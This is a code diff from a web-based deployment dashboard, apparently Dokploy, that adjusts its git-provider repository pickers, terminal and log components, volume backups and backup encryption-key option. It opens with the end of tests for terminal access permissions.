expect(await canAccessTerminalOverWss(USER, SESSION, "local")).toBe(false);
});
it("allows the local host terminal to an owner", async () => {
mockFindMember.mockResolvedValue({ role: "owner" });
expect(await canAccessTerminalOverWss(USER, SESSION, "local")).toBe(true);
});
it("allows the local host terminal to an admin", async () => {
mockFindMember.mockResolvedValue({ role: "admin" });
expect(await canAccessTerminalOverWss(USER, SESSION, "local")).toBe(true);
});
it("gates a remote server terminal on server access", async () => {
mockGetAccessibleServerIds.mockResolvedValue(new Set(["srv-1"]));
expect(await canAccessTerminalOverWss(USER, SESSION, "srv-1")).toBe(true);
expect(await canAccessTerminalOverWss(USER, SESSION, "srv-2")).toBe(false);
// role lookup must not be needed for the remote path
expect(mockFindMember).not.toHaveBeenCalled();
});
});

View File

@@ -188,6 +188,9 @@ export const SaveBitbucketProvider = ({ applicationId }: Props) => {
<FormLabel>Bitbucket Account</FormLabel>
<Select
onValueChange={(value) => {
if (!value) {
return;
}
field.onChange(value);
form.setValue("repository", {
owner: "",
@@ -196,7 +199,6 @@ export const SaveBitbucketProvider = ({ applicationId }: Props) => {
});
form.setValue("branch", "");
}}
defaultValue={field.value}
value={field.value}
>
<FormControl>
@@ -245,7 +247,7 @@ export const SaveBitbucketProvider = ({ applicationId }: Props) => {
<Button
variant="outline"
className={cn(
"w-full justify-between bg-input!",
"w-full justify-between",
!field.value && "text-muted-foreground",
)}
>
@@ -254,14 +256,19 @@ export const SaveBitbucketProvider = ({ applicationId }: Props) => {
: isLoadingRepositories
? "Loading...."
: (repositories?.find(
(repo) => repo.name === field.value.repo,
(repo) =>
repo.name === field.value.repo &&
repo.owner.username === field.value.owner,
)?.name ?? "Select repository")}
<ChevronsUpDown className="ml-2 h-4 w-4 shrink-0 opacity-50" />
</Button>
</FormControl>
</PopoverTrigger>
<PopoverContent className="p-0" align="start">
<PopoverContent
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<Command>
<CommandInput
placeholder="Search repository..."
@@ -281,7 +288,7 @@ export const SaveBitbucketProvider = ({ applicationId }: Props) => {
<CommandGroup>
{repositories?.map((repo) => (
<CommandItem
value={repo.name}
value={`${repo.owner.username}/${repo.name}`}
key={repo.url}
onSelect={() => {
form.setValue("repository", {
@@ -292,8 +299,8 @@ export const SaveBitbucketProvider = ({ applicationId }: Props) => {
form.setValue("branch", "");
}}
>
<span className="flex items-center gap-2">
<span>{repo.name}</span>
<span className="flex min-w-0 items-center gap-2">
<span className="truncate">{repo.name}</span>
<span className="text-muted-foreground text-xs">
{repo.owner.username}
</span>
@@ -301,7 +308,8 @@ export const SaveBitbucketProvider = ({ applicationId }: Props) => {
<CheckIcon
className={cn(
"ml-auto h-4 w-4",
repo.name === field.value.repo
repo.name === field.value.repo &&
repo.owner.username === field.value.owner
? "opacity-100"
: "opacity-0",
)}
@@ -333,7 +341,7 @@ export const SaveBitbucketProvider = ({ applicationId }: Props) => {
<Button
variant="outline"
className={cn(
" w-full justify-between bg-input!",
" w-full justify-between",
!field.value && "text-muted-foreground",
)}
>
@@ -348,7 +356,10 @@ export const SaveBitbucketProvider = ({ applicationId }: Props) => {
</Button>
</FormControl>
</PopoverTrigger>
<PopoverContent className="p-0" align="start">
<PopoverContent
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<Command>
<CommandInput
placeholder="Search branch..."
@@ -376,7 +387,7 @@ export const SaveBitbucketProvider = ({ applicationId }: Props) => {
form.setValue("branch", branch.name);
}}
>
{branch.name}
<span className="truncate">{branch.name}</span>
<CheckIcon
className={cn(
"ml-auto h-4 w-4",

View File

@@ -201,6 +201,9 @@ export const SaveGiteaProvider = ({ applicationId }: Props) => {
<FormLabel>Gitea Account</FormLabel>
<Select
onValueChange={(value) => {
if (!value) {
return;
}
field.onChange(value);
form.setValue("repository", {
owner: "",
@@ -208,7 +211,6 @@ export const SaveGiteaProvider = ({ applicationId }: Props) => {
});
form.setValue("branch", "");
}}
defaultValue={field.value}
value={field.value}
>
<FormControl>
@@ -258,7 +260,7 @@ export const SaveGiteaProvider = ({ applicationId }: Props) => {
<Button
variant="outline"
className={cn(
"w-full justify-between bg-input!",
"w-full justify-between",
!field.value && "text-muted-foreground",
)}
>
@@ -268,14 +270,18 @@ export const SaveGiteaProvider = ({ applicationId }: Props) => {
? "Loading...."
: (repositories?.find(
(repo: GiteaRepository) =>
repo.name === field.value.repo,
repo.name === field.value.repo &&
repo.owner.username === field.value.owner,
)?.name ?? "Select repository")}
<ChevronsUpDown className="ml-2 h-4 w-4 shrink-0 opacity-50" />
</Button>
</FormControl>
</PopoverTrigger>
<PopoverContent className="p-0" align="start">
<PopoverContent
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<Command>
<CommandInput
placeholder="Search repository..."
@@ -301,7 +307,7 @@ export const SaveGiteaProvider = ({ applicationId }: Props) => {
{repositories?.map((repo: GiteaRepository) => {
return (
<CommandItem
value={repo.name}
value={`${repo.owner.username}/${repo.name}`}
key={repo.url}
onSelect={() => {
form.setValue("repository", {
@@ -311,8 +317,10 @@ export const SaveGiteaProvider = ({ applicationId }: Props) => {
form.setValue("branch", "");
}}
>
<span className="flex items-center gap-2">
<span>{repo.name}</span>
<span className="flex min-w-0 items-center gap-2">
<span className="truncate">
{repo.name}
</span>
<span className="text-muted-foreground text-xs">
{repo.owner.username}
</span>
@@ -320,7 +328,9 @@ export const SaveGiteaProvider = ({ applicationId }: Props) => {
<CheckIcon
className={cn(
"ml-auto h-4 w-4",
repo.name === field.value.repo
repo.name === field.value.repo &&
repo.owner.username ===
field.value.owner
? "opacity-100"
: "opacity-0",
)}
@@ -353,7 +363,7 @@ export const SaveGiteaProvider = ({ applicationId }: Props) => {
<Button
variant="outline"
className={cn(
" w-full justify-between bg-input!",
" w-full justify-between",
!field.value && "text-muted-foreground",
)}
>
@@ -369,7 +379,10 @@ export const SaveGiteaProvider = ({ applicationId }: Props) => {
</Button>
</FormControl>
</PopoverTrigger>
<PopoverContent className="p-0" align="start">
<PopoverContent
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<Command>
<CommandInput
placeholder="Search branch..."
@@ -400,7 +413,7 @@ export const SaveGiteaProvider = ({ applicationId }: Props) => {
form.setValue("branch", branch.name);
}}
>
{branch.name}
<span className="truncate">{branch.name}</span>
<CheckIcon
className={cn(
"ml-auto h-4 w-4",

View File

@@ -177,6 +177,9 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
<FormLabel>Github Account</FormLabel>
<Select
onValueChange={(value) => {
if (!value) {
return;
}
field.onChange(value);
form.setValue("repository", {
owner: "",
@@ -189,7 +192,14 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
>
<FormControl>
<SelectTrigger>
<SelectValue placeholder="Select a Github Account" />
<SelectValue placeholder="Select a Github Account">
{
githubProviders?.find(
(githubProvider) =>
githubProvider.githubId === field.value,
)?.gitProvider.name
}
</SelectValue>
</SelectTrigger>
</FormControl>
<SelectContent>
@@ -233,7 +243,7 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
<Button
variant="outline"
className={cn(
"w-full justify-between bg-input!",
"w-full justify-between",
!field.value && "text-muted-foreground",
)}
>
@@ -242,14 +252,19 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
: isLoadingRepositories
? "Loading...."
: (repositories?.find(
(repo) => repo.name === field.value.repo,
)?.name ?? "Select repository")}
(repo) =>
repo.name === field.value.repo &&
repo.owner.login === field.value.owner,
)?.name ?? field.value.repo)}
<ChevronsUpDown className="ml-2 h-4 w-4 shrink-0 opacity-50" />
</Button>
</FormControl>
</PopoverTrigger>
<PopoverContent className="p-0" align="start">
<PopoverContent
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<Command>
<CommandInput
placeholder="Search repository..."
@@ -269,7 +284,7 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
<CommandGroup>
{repositories?.map((repo) => (
<CommandItem
value={repo.name}
value={`${repo.owner.login}/${repo.name}`}
key={repo.url}
onSelect={() => {
form.setValue("repository", {
@@ -279,8 +294,8 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
form.setValue("branch", "");
}}
>
<span className="flex items-center gap-2">
<span>{repo.name}</span>
<span className="flex min-w-0 items-center gap-2">
<span className="truncate">{repo.name}</span>
<span className="text-muted-foreground text-xs">
{repo.owner.login}
</span>
@@ -288,7 +303,8 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
<CheckIcon
className={cn(
"ml-auto h-4 w-4",
repo.name === field.value.repo
repo.name === field.value.repo &&
repo.owner.login === field.value.owner
? "opacity-100"
: "opacity-0",
)}
@@ -320,22 +336,25 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
<Button
variant="outline"
className={cn(
" w-full justify-between bg-input!",
" w-full justify-between",
!field.value && "text-muted-foreground",
)}
>
{status === "pending" && fetchStatus === "fetching"
? "Loading...."
: field.value
? branches?.find(
? (branches?.find(
(branch) => branch.name === field.value,
)?.name
)?.name ?? field.value)
: "Select branch"}
<ChevronsUpDown className="ml-2 h-4 w-4 shrink-0 opacity-50" />
</Button>
</FormControl>
</PopoverTrigger>
<PopoverContent className="p-0" align="start">
<PopoverContent
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<Command>
<CommandInput
placeholder="Search branch..."
@@ -363,7 +382,7 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
form.setValue("branch", branch.name);
}}
>
{branch.name}
<span className="truncate">{branch.name}</span>
<CheckIcon
className={cn(
"ml-auto h-4 w-4",

View File

@@ -196,6 +196,9 @@ export const SaveGitlabProvider = ({ applicationId }: Props) => {
<FormLabel>Gitlab Account</FormLabel>
<Select
onValueChange={(value) => {
if (!value) {
return;
}
field.onChange(value);
form.setValue("repository", {
owner: "",
@@ -205,7 +208,6 @@ export const SaveGitlabProvider = ({ applicationId }: Props) => {
});
form.setValue("branch", "");
}}
defaultValue={field.value}
value={field.value}
>
<FormControl>
@@ -254,7 +256,7 @@ export const SaveGitlabProvider = ({ applicationId }: Props) => {
<Button
variant="outline"
className={cn(
"w-full justify-between bg-input!",
"w-full justify-between",
!field.value && "text-muted-foreground",
)}
>
@@ -270,7 +272,10 @@ export const SaveGitlabProvider = ({ applicationId }: Props) => {
</Button>
</FormControl>
</PopoverTrigger>
<PopoverContent className="p-0" align="start">
<PopoverContent
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<Command>
<CommandInput
placeholder="Search repository..."
@@ -308,8 +313,10 @@ export const SaveGitlabProvider = ({ applicationId }: Props) => {
form.setValue("branch", "");
}}
>
<span className="flex items-center gap-2">
<span>{repo.name}</span>
<span className="flex min-w-0 items-center gap-2">
<span className="truncate">
{repo.name}
</span>
<span className="text-muted-foreground text-xs">
{repo.owner.username}
</span>
@@ -351,7 +358,7 @@ export const SaveGitlabProvider = ({ applicationId }: Props) => {
<Button
variant="outline"
className={cn(
" w-full justify-between bg-input!",
" w-full justify-between",
!field.value && "text-muted-foreground",
)}
>
@@ -366,7 +373,10 @@ export const SaveGitlabProvider = ({ applicationId }: Props) => {
</Button>
</FormControl>
</PopoverTrigger>
<PopoverContent className="p-0" align="start">
<PopoverContent
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<Command>
<CommandInput
placeholder="Search branch..."
@@ -394,7 +404,7 @@ export const SaveGitlabProvider = ({ applicationId }: Props) => {
form.setValue("branch", branch.name);
}}
>
{branch.name}
<span className="truncate">{branch.name}</span>
<CheckIcon
className={cn(
"ml-auto h-4 w-4",

View File

@@ -1,4 +1,3 @@
import { Tooltip as TooltipPrimitive } from "radix-ui";
import {
Ban,
CheckCircle2,
@@ -8,6 +7,7 @@ import {
Terminal,
} from "lucide-react";
import { useRouter } from "next/router";
import { Tooltip as TooltipPrimitive } from "radix-ui";
import { toast } from "sonner";
import { ShowBuildChooseForm } from "@/components/dashboard/application/build/show";
import { ShowProviderForm } from "@/components/dashboard/application/general/generic/show";
@@ -271,6 +271,7 @@ export const ShowGeneralApplication = ({ applicationId }: Props) => {
<DockerTerminalModal
appName={data?.appName || ""}
serverId={data?.serverId || ""}
serviceId={applicationId}
>
<Button
variant="outline"

View File

@@ -50,9 +50,10 @@ export const badgeStateColor = (state: string) => {
interface Props {
appName: string;
serverId?: string;
serviceId?: string;
}
export const ShowDockerLogs = ({ appName, serverId }: Props) => {
export const ShowDockerLogs = ({ appName, serverId, serviceId }: Props) => {
const [containerId, setContainerId] = useState<string | undefined>();
const [option, setOption] = useState<"swarm" | "native">("native");
@@ -182,6 +183,7 @@ export const ShowDockerLogs = ({ appName, serverId }: Props) => {
serverId={serverId || ""}
containerId={containerId || "select-a-container"}
runType={option}
serviceId={serviceId}
/>
</CardContent>
</Card>

View File

@@ -1,4 +1,3 @@
import { Tooltip as TooltipPrimitive } from "radix-ui";
import {
ExternalLink,
FileText,
@@ -9,6 +8,7 @@ import {
RocketIcon,
Trash2,
} from "lucide-react";
import { Tooltip as TooltipPrimitive } from "radix-ui";
import { toast } from "sonner";
import { GithubIcon } from "@/components/icons/data-tools-icons";
import { DateTooltip } from "@/components/shared/date-tooltip";

View File

@@ -531,7 +531,7 @@ export const HandleSchedules = ({ id, scheduleId, scheduleType }: Props) => {
<Button
variant="outline"
className={cn(
"w-full justify-between bg-input!",
"w-full justify-between",
!field.value && "text-muted-foreground",
)}
>

View File

@@ -507,11 +507,20 @@ export const HandleVolumeBackups = ({
</SelectTrigger>
</FormControl>
<SelectContent>
{mounts?.map((mount) => (
<SelectItem key={mount.Name} value={mount.Name || ""}>
{mount.Name}
{mounts && mounts.length > 0 ? (
mounts.map((mount) => (
<SelectItem
key={mount.Name}
value={mount.Name || ""}
>
{mount.Name}
</SelectItem>
))
) : (
<SelectItem value="none" disabled>
No volumes found
</SelectItem>
))}
)}
</SelectContent>
</Select>
<FormDescription>

View File

@@ -181,7 +181,7 @@ export const RestoreVolumeBackups = ({ id, type, serverId }: Props) => {
<Button
variant="outline"
className={cn(
"w-full justify-between bg-input!",
"w-full justify-between",
!field.value && "text-muted-foreground",
)}
>
@@ -263,7 +263,7 @@ export const RestoreVolumeBackups = ({ id, type, serverId }: Props) => {
<Button
variant="outline"
className={cn(
"w-full justify-between bg-input!",
"w-full justify-between",
!field.value && "text-muted-foreground",
)}
>

View File

@@ -55,12 +55,14 @@ interface Props {
appName: string;
serverId?: string;
appType: "stack" | "docker-compose";
serviceId?: string;
}
export const ShowComposeContainers = ({
appName,
appType,
serverId,
serviceId,
}: Props) => {
const { data, isPending, refetch } =
api.docker.getContainersByAppNameMatch.useQuery(
@@ -122,6 +124,7 @@ export const ShowComposeContainers = ({
key={container.containerId}
container={container}
serverId={serverId}
serviceId={serviceId}
onActionComplete={() => refetch()}
/>
))}
@@ -142,12 +145,14 @@ interface ContainerRowProps {
status: string;
};
serverId?: string;
serviceId?: string;
onActionComplete: () => void;
}
const ContainerRow = ({
container,
serverId,
serviceId,
onActionComplete,
}: ContainerRowProps) => {
const [logsOpen, setLogsOpen] = useState(false);
@@ -236,6 +241,7 @@ const ContainerRow = ({
<DockerTerminalModal
containerId={container.containerId}
serverId={serverId || ""}
serviceId={serviceId}
>
Terminal
</DockerTerminalModal>
@@ -280,6 +286,7 @@ const ContainerRow = ({
containerId={container.containerId}
serverId={serverId}
runType="native"
serviceId={serviceId}
/>
</div>
</DialogContent>

View File

@@ -1,6 +1,6 @@
import { Tooltip as TooltipPrimitive } from "radix-ui";
import { Ban, CheckCircle2, RefreshCcw, Rocket, Terminal } from "lucide-react";
import { useRouter } from "next/router";
import { Tooltip as TooltipPrimitive } from "radix-ui";
import { toast } from "sonner";
import { DialogAction } from "@/components/shared/dialog-action";
import { Button } from "@/components/ui/button";
@@ -206,6 +206,7 @@ export const ComposeActions = ({ composeId }: Props) => {
appName={data?.appName || ""}
serverId={data?.serverId || ""}
appType={data?.composeType || "docker-compose"}
serviceId={data?.composeId}
>
<Button
variant="outline"

View File

@@ -190,6 +190,9 @@ export const SaveBitbucketProviderCompose = ({ composeId }: Props) => {
<FormLabel>Bitbucket Account</FormLabel>
<Select
onValueChange={(value) => {
if (!value) {
return;
}
field.onChange(value);
form.setValue("repository", {
owner: "",
@@ -198,7 +201,6 @@ export const SaveBitbucketProviderCompose = ({ composeId }: Props) => {
});
form.setValue("branch", "");
}}
defaultValue={field.value}
value={field.value}
>
<FormControl>
@@ -247,7 +249,7 @@ export const SaveBitbucketProviderCompose = ({ composeId }: Props) => {
<Button
variant="outline"
className={cn(
"w-full justify-between bg-input!",
"w-full justify-between",
!field.value && "text-muted-foreground",
)}
>
@@ -256,14 +258,19 @@ export const SaveBitbucketProviderCompose = ({ composeId }: Props) => {
: isLoadingRepositories
? "Loading...."
: (repositories?.find(
(repo) => repo.name === field.value.repo,
(repo) =>
repo.name === field.value.repo &&
repo.owner.username === field.value.owner,
)?.name ?? "Select repository")}
<ChevronsUpDown className="ml-2 h-4 w-4 shrink-0 opacity-50" />
</Button>
</FormControl>
</PopoverTrigger>
<PopoverContent className="p-0" align="start">
<PopoverContent
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<Command>
<CommandInput
placeholder="Search repository..."
@@ -283,7 +290,7 @@ export const SaveBitbucketProviderCompose = ({ composeId }: Props) => {
<CommandGroup>
{repositories?.map((repo) => (
<CommandItem
value={repo.name}
value={`${repo.owner.username}/${repo.name}`}
key={repo.url}
onSelect={() => {
form.setValue("repository", {
@@ -294,8 +301,8 @@ export const SaveBitbucketProviderCompose = ({ composeId }: Props) => {
form.setValue("branch", "");
}}
>
<span className="flex items-center gap-2">
<span>{repo.name}</span>
<span className="flex min-w-0 items-center gap-2">
<span className="truncate">{repo.name}</span>
<span className="text-muted-foreground text-xs">
{repo.owner.username}
</span>
@@ -303,7 +310,8 @@ export const SaveBitbucketProviderCompose = ({ composeId }: Props) => {
<CheckIcon
className={cn(
"ml-auto h-4 w-4",
repo.name === field.value.repo
repo.name === field.value.repo &&
repo.owner.username === field.value.owner
? "opacity-100"
: "opacity-0",
)}
@@ -335,7 +343,7 @@ export const SaveBitbucketProviderCompose = ({ composeId }: Props) => {
<Button
variant="outline"
className={cn(
" w-full justify-between bg-input!",
" w-full justify-between",
!field.value && "text-muted-foreground",
)}
>
@@ -350,7 +358,10 @@ export const SaveBitbucketProviderCompose = ({ composeId }: Props) => {
</Button>
</FormControl>
</PopoverTrigger>
<PopoverContent className="p-0" align="start">
<PopoverContent
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<Command>
<CommandInput
placeholder="Search branch..."
@@ -378,7 +389,7 @@ export const SaveBitbucketProviderCompose = ({ composeId }: Props) => {
form.setValue("branch", branch.name);
}}
>
{branch.name}
<span className="truncate">{branch.name}</span>
<CheckIcon
className={cn(
"ml-auto h-4 w-4",

View File

@@ -188,6 +188,9 @@ export const SaveGiteaProviderCompose = ({ composeId }: Props) => {
<FormLabel>Gitea Account</FormLabel>
<Select
onValueChange={(value) => {
if (!value) {
return;
}
field.onChange(value);
form.setValue("repository", {
owner: "",
@@ -195,7 +198,6 @@ export const SaveGiteaProviderCompose = ({ composeId }: Props) => {
});
form.setValue("branch", "");
}}
defaultValue={field.value}
value={field.value}
>
<FormControl>
@@ -244,7 +246,7 @@ export const SaveGiteaProviderCompose = ({ composeId }: Props) => {
<Button
variant="outline"
className={cn(
"w-full justify-between bg-input!",
"w-full justify-between",
!field.value && "text-muted-foreground",
)}
>
@@ -253,13 +255,18 @@ export const SaveGiteaProviderCompose = ({ composeId }: Props) => {
: isLoadingRepositories
? "Loading...."
: (repositories?.find(
(repo) => repo.name === field.value.repo,
(repo) =>
repo.name === field.value.repo &&
repo.owner.username === field.value.owner,
)?.name ?? "Select repository")}
<ChevronsUpDown className="ml-2 h-4 w-4 shrink-0 opacity-50" />
</Button>
</FormControl>
</PopoverTrigger>
<PopoverContent className="p-0" align="start">
<PopoverContent
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<Command>
<CommandInput
placeholder="Search repository..."
@@ -280,7 +287,7 @@ export const SaveGiteaProviderCompose = ({ composeId }: Props) => {
{repositories?.map((repo) => (
<CommandItem
key={repo.url}
value={repo.name}
value={`${repo.owner.username}/${repo.name}`}
onSelect={() => {
form.setValue("repository", {
owner: repo.owner.username,
@@ -289,8 +296,8 @@ export const SaveGiteaProviderCompose = ({ composeId }: Props) => {
form.setValue("branch", "");
}}
>
<span className="flex items-center gap-2">
<span>{repo.name}</span>
<span className="flex min-w-0 items-center gap-2">
<span className="truncate">{repo.name}</span>
<span className="text-muted-foreground text-xs">
{repo.owner.username}
</span>
@@ -298,7 +305,8 @@ export const SaveGiteaProviderCompose = ({ composeId }: Props) => {
<CheckIcon
className={cn(
"ml-auto h-4 w-4",
repo.name === field.value.repo
repo.name === field.value.repo &&
repo.owner.username === field.value.owner
? "opacity-100"
: "opacity-0",
)}
@@ -331,7 +339,7 @@ export const SaveGiteaProviderCompose = ({ composeId }: Props) => {
<Button
variant="outline"
className={cn(
"w-full justify-between bg-input!",
"w-full justify-between",
!field.value && "text-muted-foreground",
)}
>
@@ -346,7 +354,10 @@ export const SaveGiteaProviderCompose = ({ composeId }: Props) => {
</Button>
</FormControl>
</PopoverTrigger>
<PopoverContent className="p-0" align="start">
<PopoverContent
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<Command>
<CommandInput
placeholder="Search branches..."
@@ -363,8 +374,10 @@ export const SaveGiteaProviderCompose = ({ composeId }: Props) => {
form.setValue("branch", branch.name)
}
>
<span className="flex items-center gap-2">
{branch.name}
<span className="flex min-w-0 items-center gap-2">
<span className="truncate">
{branch.name}
</span>
</span>
<CheckIcon
className={cn(

View File

@@ -138,7 +138,7 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
enableSubmodules: data.enableSubmodules ?? false,
});
}
}, [form.reset, data?.composeId, form]);
}, [form.reset, data]);
const onSubmit = async (data: GithubProvider) => {
await mutateAsync({
@@ -179,6 +179,9 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
<FormLabel>Github Account</FormLabel>
<Select
onValueChange={(value) => {
if (!value) {
return;
}
field.onChange(value);
form.setValue("repository", {
owner: "",
@@ -186,7 +189,6 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
});
form.setValue("branch", "");
}}
defaultValue={field.value}
value={field.value}
>
<FormControl>
@@ -234,7 +236,7 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
<Button
variant="outline"
className={cn(
"w-full justify-between bg-input!",
"w-full justify-between",
!field.value && "text-muted-foreground",
)}
>
@@ -243,14 +245,19 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
: isLoadingRepositories
? "Loading...."
: (repositories?.find(
(repo) => repo.name === field.value.repo,
)?.name ?? "Select repository")}
(repo) =>
repo.name === field.value.repo &&
repo.owner.login === field.value.owner,
)?.name ?? field.value.repo)}
<ChevronsUpDown className="ml-2 h-4 w-4 shrink-0 opacity-50" />
</Button>
</FormControl>
</PopoverTrigger>
<PopoverContent className="p-0" align="start">
<PopoverContent
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<Command>
<CommandInput
placeholder="Search repository..."
@@ -270,7 +277,7 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
<CommandGroup>
{repositories?.map((repo) => (
<CommandItem
value={repo.name}
value={`${repo.owner.login}/${repo.name}`}
key={repo.url}
onSelect={() => {
form.setValue("repository", {
@@ -280,8 +287,8 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
form.setValue("branch", "");
}}
>
<span className="flex items-center gap-2">
<span>{repo.name}</span>
<span className="flex min-w-0 items-center gap-2">
<span className="truncate">{repo.name}</span>
<span className="text-muted-foreground text-xs">
{repo.owner.login}
</span>
@@ -289,7 +296,8 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
<CheckIcon
className={cn(
"ml-auto h-4 w-4",
repo.name === field.value.repo
repo.name === field.value.repo &&
repo.owner.login === field.value.owner
? "opacity-100"
: "opacity-0",
)}
@@ -321,22 +329,25 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
<Button
variant="outline"
className={cn(
" w-full justify-between bg-input!",
" w-full justify-between",
!field.value && "text-muted-foreground",
)}
>
{status === "pending" && fetchStatus === "fetching"
? "Loading...."
: field.value
? branches?.find(
? (branches?.find(
(branch) => branch.name === field.value,
)?.name
)?.name ?? field.value)
: "Select branch"}
<ChevronsUpDown className="ml-2 h-4 w-4 shrink-0 opacity-50" />
</Button>
</FormControl>
</PopoverTrigger>
<PopoverContent className="p-0" align="start">
<PopoverContent
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<Command>
<CommandInput
placeholder="Search branch..."
@@ -364,7 +375,7 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
form.setValue("branch", branch.name);
}}
>
{branch.name}
<span className="truncate">{branch.name}</span>
<CheckIcon
className={cn(
"ml-auto h-4 w-4",

View File

@@ -199,6 +199,9 @@ export const SaveGitlabProviderCompose = ({ composeId }: Props) => {
<FormLabel>Gitlab Account</FormLabel>
<Select
onValueChange={(value) => {
if (!value) {
return;
}
field.onChange(value);
form.setValue("repository", {
owner: "",
@@ -208,7 +211,6 @@ export const SaveGitlabProviderCompose = ({ composeId }: Props) => {
});
form.setValue("branch", "");
}}
defaultValue={field.value}
value={field.value}
>
<FormControl>
@@ -256,7 +258,7 @@ export const SaveGitlabProviderCompose = ({ composeId }: Props) => {
<Button
variant="outline"
className={cn(
"w-full justify-between bg-input!",
"w-full justify-between",
!field.value && "text-muted-foreground",
)}
>
@@ -272,7 +274,10 @@ export const SaveGitlabProviderCompose = ({ composeId }: Props) => {
</Button>
</FormControl>
</PopoverTrigger>
<PopoverContent className="p-0" align="start">
<PopoverContent
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<Command>
<CommandInput
placeholder="Search repository..."
@@ -310,8 +315,10 @@ export const SaveGitlabProviderCompose = ({ composeId }: Props) => {
form.setValue("branch", "");
}}
>
<span className="flex items-center gap-2">
<span>{repo.name}</span>
<span className="flex min-w-0 items-center gap-2">
<span className="truncate">
{repo.name}
</span>
<span className="text-muted-foreground text-xs">
{repo.owner.username}
</span>
@@ -353,7 +360,7 @@ export const SaveGitlabProviderCompose = ({ composeId }: Props) => {
<Button
variant="outline"
className={cn(
" w-full justify-between bg-input!",
" w-full justify-between",
!field.value && "text-muted-foreground",
)}
>
@@ -368,7 +375,10 @@ export const SaveGitlabProviderCompose = ({ composeId }: Props) => {
</Button>
</FormControl>
</PopoverTrigger>
<PopoverContent className="p-0" align="start">
<PopoverContent
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<Command>
<CommandInput
placeholder="Search branch..."
@@ -396,7 +406,7 @@ export const SaveGitlabProviderCompose = ({ composeId }: Props) => {
form.setValue("branch", branch.name);
}}
>
{branch.name}
<span className="truncate">{branch.name}</span>
<CheckIcon
className={cn(
"ml-auto h-4 w-4",

View File

@@ -35,9 +35,14 @@ export const DockerLogs = dynamic(
interface Props {
appName: string;
serverId?: string;
serviceId?: string;
}
export const ShowDockerLogsStack = ({ appName, serverId }: Props) => {
export const ShowDockerLogsStack = ({
appName,
serverId,
serviceId,
}: Props) => {
const [option, setOption] = useState<"swarm" | "native">("native");
const [containerId, setContainerId] = useState<string | undefined>();
@@ -167,6 +172,7 @@ export const ShowDockerLogsStack = ({ appName, serverId }: Props) => {
serverId={serverId || ""}
containerId={containerId || "select-a-container"}
runType={option}
serviceId={serviceId}
/>
</CardContent>
</Card>

View File

@@ -35,12 +35,14 @@ interface Props {
appName: string;
serverId?: string;
appType: "stack" | "docker-compose";
serviceId?: string;
}
export const ShowDockerLogsCompose = ({
appName,
appType,
serverId,
serviceId,
}: Props) => {
const { data, isPending } = api.docker.getContainersByAppNameMatch.useQuery(
{
@@ -104,6 +106,7 @@ export const ShowDockerLogsCompose = ({
serverId={serverId || ""}
containerId={containerId || "select-a-container"}
runType="native"
serviceId={serviceId}
/>
</CardContent>
</Card>

View File

@@ -79,6 +79,7 @@ const Schema = z
schedule: z.string().min(1, "Schedule (Cron) required"),
prefix: z.string().min(1, "Prefix required"),
enabled: z.boolean(),
includeEncryptionKey: z.boolean(),
database: z.string().min(1, "Database required"),
keepLatestCount: z.coerce.number().optional(),
serviceName: z.string().nullable(),
@@ -223,6 +224,7 @@ export const HandleBackup = ({
: "",
destinationId: "",
enabled: true,
includeEncryptionKey: true,
prefix: "/",
schedule: "",
keepLatestCount: undefined,
@@ -262,6 +264,7 @@ export const HandleBackup = ({
: "",
destinationId: backup?.destinationId ?? "",
enabled: backup?.enabled ?? true,
includeEncryptionKey: backup?.includeEncryptionKey ?? true,
prefix: backup?.prefix ?? "/",
schedule: backup?.schedule ?? "",
keepLatestCount: backup?.keepLatestCount ?? undefined,
@@ -309,6 +312,7 @@ export const HandleBackup = ({
prefix: data.prefix,
schedule: data.schedule,
enabled: data.enabled,
includeEncryptionKey: data.includeEncryptionKey,
database: data.database,
keepLatestCount: data.keepLatestCount ?? null,
databaseType: data.databaseType || databaseType,
@@ -409,7 +413,7 @@ export const HandleBackup = ({
<Button
variant="outline"
className={cn(
"w-full justify-between bg-input!",
"w-full justify-between",
!field.value && "text-muted-foreground",
)}
>
@@ -665,6 +669,31 @@ export const HandleBackup = ({
</FormItem>
)}
/>
{databaseType === "web-server" && (
<FormField
control={form.control}
name="includeEncryptionKey"
render={({ field }) => (
<FormItem className="flex flex-row items-center justify-between rounded-lg border p-3 ">
<div className="space-y-0.5">
<FormLabel>Include encryption key</FormLabel>
<FormDescription>
Stores the encryption key inside the backup so
environment variables can be restored on a new server.
Anyone with access to the backup file can decrypt
them.
</FormDescription>
</div>
<FormControl>
<Switch
